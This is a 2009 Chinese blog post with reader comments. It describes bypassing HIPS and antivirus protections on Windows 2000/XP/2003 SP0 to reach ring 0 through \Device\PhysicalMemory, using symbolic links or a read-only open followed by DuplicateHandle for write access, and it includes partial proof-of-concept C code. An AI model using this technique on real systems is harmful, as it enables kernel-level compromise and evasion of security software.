百度空间 | 百度首页 
 
查看文章
 
突破HIPS的防御思路之duplicate physical memory
2009-05-17 13:22

众所周知,WINDOWS 2000/XP/2003 SP0系统上,提供了一个\Device\PhysicalMemory的Section对象,可以直接操作物理内存对象。直接操作此对象映射的物理内存,可以操作RING0内存,达到无驱进入RING0的目的。

这已是很多年前就被用烂了的技术了,大部分驱动防火墙、绝大部分HIPS软件、AntiVirus软件等都对此进行了防御。不过,老树也能开新花,我们来看看这个东东的新利用方法:

1).CreateSymbolicLink,这也是很古老的方法,很多安全软件也已经防御。因为一些安全软件只防御了NtOpenSection,并根据打开的对象名是否是\Device\PhysicalMemory来进行拦截,但是只要对\Device\PhysicalMemory创建符号链接,那么一样可以使用NtOpenSection打开

2).Duplicate法,大部分目前的安全软件,都是拦截\Device\PhysicalMemory并判断DesiredAccess是否包含SECTION_MAP_WRITE(除了一些极端无聊的没人用的HIPS外,这种的完全可以无视), 因为一些正常的软件,也需要打开\Device\PhysicalMemory进行物理内存读入(例如微软Wga~)。

但这就让攻击者有空可钻,攻击者可以先以SECTION_MAP_READ打开物理内存对象,再以SECTION_MAP_WRITE方式duplicate handle,这样就可以获取对物理内存的写权限,进行物理内存写入了。大部分安全软件都没有防御这种方式(例如瑞*),这样,攻击者又重新获得了对于系统至高无上的权利~

示例代码:

UNICODE_STRING uniname ;
OBJECT_ATTRIBUTES oba ;

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwOpenSection");
uniname.Buffer = (PWSTR)phyname;
uniname.Length = sizeof(phyname) - sizeof(WCHAR);
uniname.MaximumLength = sizeof(uniname);
HANDLE handle ;
LONG stat ;
InitializeObjectAttributes(&oba , &uniname , 0x40 , 0 , 0 );
__asm{
   lea eax , oba
   push eax
   push 4
   lea   eax , handle
   push eax
   call p
   mov stat , eax
}
printf("stat 1 %08x\n" , stat);
HANDLE xhandle ;
BOOL bret = DuplicateHandle(GetCurrentProcess() , handle,GetCurrentProcess() , &xhandle , SECTION_MAP_WRITE | SECTION_MAP_READ , FALSE , DUPLICATE_CLOSE_SOURCE);


类别:默认分类 | 添加到搜藏 | 浏览() | 评论 (17)
 
最近读者:
 
网友评论:
1
2009-05-17 13:28 | 回复
沙发,哈哈
 
2
2009-05-17 13:30 | 回复
学习,转个眼,沙发没了
 
3
2009-05-17 13:32 | 回复
duplicatehandle大法
 
4
2009-05-17 13:32 | 回复

 
5
2009-05-17 13:36 | 回复
跟来学习~~
 
6
2009-05-17 13:37 | 回复
~排队拜膜~
 
7
2009-05-17 13:58 | 回复
这个对象,貌似Vista和Win7上不能ring3访问啊~
 
8
2009-05-17 14:24 | 回复
都说了只能2000 xp 2003 sp0了。。
XP现在仍是绝对主流。。
 
9
2009-05-17 14:29 | 回复
学习
 
10
2009-05-17 14:38 | 回复
排队学习
 
11
2009-05-17 14:55 | 回复
学习学习
 
12
2009-05-17 15:44 | 回复
又来晚了……

万能的DuplicateHandle~
 
13
2009-05-17 16:34 | 回复
邪恶的Duplicate......
 
15
2009-05-20 22:03 | 回复
排队学习
 
16
2009-05-30 08:29 | 回复
排队学习

貌似来晚了
 
17
2009-06-11 23:05 | 回复
跟踪MJ0011能省很多学习时间
 
18
2009-06-11 23:35 | 回复
    GOOD
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu